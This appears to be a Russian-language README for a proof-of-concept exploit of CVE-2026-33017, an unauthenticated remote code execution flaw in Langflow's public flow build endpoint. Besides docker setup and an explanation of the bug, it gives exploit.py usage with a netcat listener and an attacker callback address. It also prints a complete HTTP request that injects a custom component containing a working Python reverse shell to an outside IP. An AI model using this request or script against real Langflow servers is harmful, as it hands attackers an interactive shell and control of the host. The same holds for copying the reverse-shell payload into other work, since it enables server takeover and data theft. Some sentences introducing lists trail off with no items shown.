
Эксплойт proof-of-concept для CVE-2026-33017 — неаутентифицированная RCE в эндпоинте build_public_tmp Langflow, внедряющая вредоносный пользовательский компонент для получения обратной оболочки.
★ CVE-2026-33017 Langflow Remote Code Execution PoC ★
https://github.com/user-attachments/assets/562fc637-6be1-4ab9-a396-bfad56447af7
Используйте следующие команды для сборки и запуска уязвимого окружения Langflow:
docker build -t cve-2026-33017-langflow-vuln .
docker run --rm -it -p 7860:7860 --name langflow-vuln cve-2026-33017-langflow-vuln
После запуска уязвимого экземпляра Langflow запустите PoC, указав URL цели, ID публичного потока и адрес обратного вызова атакующего.
Вариант A — использовать собственный слушатель:
# Terminal 1: start a listener
nc -lvnp 4444
# Terminal 2: fire the exploit
python exploit.py --url http://localhost:7860/ --flow-id 00000000-0000-0000-0000-000000000001 --lhost <ATTACKER_IP> --lport 4444
Вариант B — использовать встроенный слушатель с --listen:
python exploit.py --url http://localhost:7860/ --flow-id 00000000-0000-0000-0000-000000000001 --lhost <ATTACKER_IP> --lport 4444 --listen
| Опция | Описание |
|---|---|
--url | URL целевого сервера Langflow |
--flow-id | UUID общего публичного потока |
--lhost | IP-адрес обратного вызова атакующего |
--lport | Порт обратного вызова атакующего |
--listen | Запустить встроенный слушатель вместо внешнего nc |
CVE-2026-33017 — это уязвимость удалённого выполнения кода (Remote Code Execution, RCE) в процессе сборки публичного потока в Langflow, открытой платформе для визуального создания приложений на основе LLM и AI-воркфлоу.
Отправляя специально сформированные данные потока на эндпоинтbuild_public_tmpбез аутентификации, атакующий может добиться выполнения произвольного Python-кода на сервере.
CVE-2026-33017 затрагивает следующий эндпоинт сборки публичного потока в Langflow, открытой платформе для визуального создания приложений на основе LLM и AI-воркфлоу.
POST /api/v1/build_public_tmp/{flow_id}/flow
Публичный поток в Langflow предназначен для того, чтобы им можно было поделиться с другими пользователями по ссылке или аналогичным способом.
Для поддержки этой функции эндпоинт сборки подготавливает поток к выполнению без требования аутентификации: он считывает узлы, связи и настройки потока, а затем строит внутренний граф выполнения, необходимый для его запуска.
Проблема заключалась в том, что уязвимые версии build_public_tmp принимали не только хранящуюся на сервере информацию о публичном потоке, но и поле data, переданное в теле запроса.
Это поле data могло содержать полное определение потока, включая:
В результате атакующий мог с помощью неаутентифицированного запроса внедрить полностью контролируемую им структуру потока вместо того, чтобы полагаться на легитимный публичный поток, хранящийся на сервере.
Особенно опасной частью этого дизайна является функция пользовательского компонента (Custom Component).
В Langflow компонент представляет собой отдельный функциональный блок, отвечающий за такие задачи, как обработка входных данных, вызов модели или генерация выходных данных. Пользовательский компонент — это расширяемый блок, позволяющий пользователям определять его поведение непосредственно в Python-коде.
Таким образом, атакующий мог внедрить пользовательский компонент, содержащий вредоносный Python-код, внутрь сформированного объекта data, и сервер обработал бы его как обычную часть потока. В результате внедрённый код мог быть разобран и выполнен в процессе сборки или выполнения, что в конечном итоге приводило к удалённому выполнению кода.
| Категория | Версия |
|---|---|
| Уязвимые | Langflow до 1.9.0 |
| Исправленные | Langflow 1.9.0 и выше |
В GitHub Security Advisory диапазон уязвимых версий указан как
<= 1.8.2, однако исправление — удаление параметраdata— появилось в 1.9.0. Поэтому все релизы до 1.9.0 (включая 1.8.3 / 1.8.4) являются уязвимыми, и именно поэтому в CVE Record указано< 1.9.0.
Успешная эксплуатация этой уязвимости может позволить атакующему получить контроль над сервером Langflow и выполнить последующие действия, такие как:
Следующий PoC демонстрирует CVE-2026-33017 на Langflow 1.8.1.
Сначала атакующий определяет flow_id целевого публичного потока.

Атакующий отправляет запрос build_public_tmp, который внедряет пользовательский компонент, чей Python-код code выполняется на сервере во время временной сборки. В приведённом ниже запросе значение code оставлено в качестве заполнителя — вставьте полезную нагрузку самостоятельно (см. примечание под запросом).
POST /api/v1/build_public_tmp/00000000-0000-0000-0000-000000000001/flow?event_delivery=direct&log_builds=false HTTP/1.1
Host: localhost:7860
Content-Type: application/json
Cookie: client_id=12345678-1234-1234-1234-123456789012
Connection: close
{
"data": {
"nodes": [
{
"id": "Exploit",
"data": {
"id": "Exploit",
"type": "ExploitComp",
"node": {
"template": {
"_type": "Component",
"code": {
"type": "code",
"value": "from lfx.custom.custom_component.component import Component\nfrom lfx.io import Output\nfrom lfx.schema.data import Data\n\nclass ExploitComp(Component):\n display_name = 'X'\n outputs = [Output(display_name='O', name='o', method='r')]\n\n def r(self) -> Data:\n import socket,subprocess\n s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)\n s.connect(('192.168.102.178', 4444))\n p = subprocess.Popen(['/bin/bash', '-i'], stdin=s.fileno(), stdout=s.fileno(), stderr=s.fileno())\n p.wait()\n return Data(data={'ok': 1})"
}
},
"outputs": [
{ "types": ["Data"], "name": "o", "method": "r" }
]
}
}
}
],
"edges": []
}
}
Во время процесса сборки код, внедрённый в пользовательский компонент, выполняется на сервере. При использовании варианта с обратным шеллом (автоматизированного в exploit.py) устанавливается соединение с слушателем атакующего, что даёт атакующему интерактивный шелл для выполнения произвольных команд на сервере.

Хотя build_public_tmp предназначался для сборки публичных потоков, уязвимые версии всё ещё принимали поле data непосредственно из тела запроса.
Из-за такого дизайна предоставленные атакующим data передавались напрямую в серверную логику сборки, и любой Python-код, встроенный в пользовательский компонент, обрабатывался так, как если бы он был частью легитимного потока.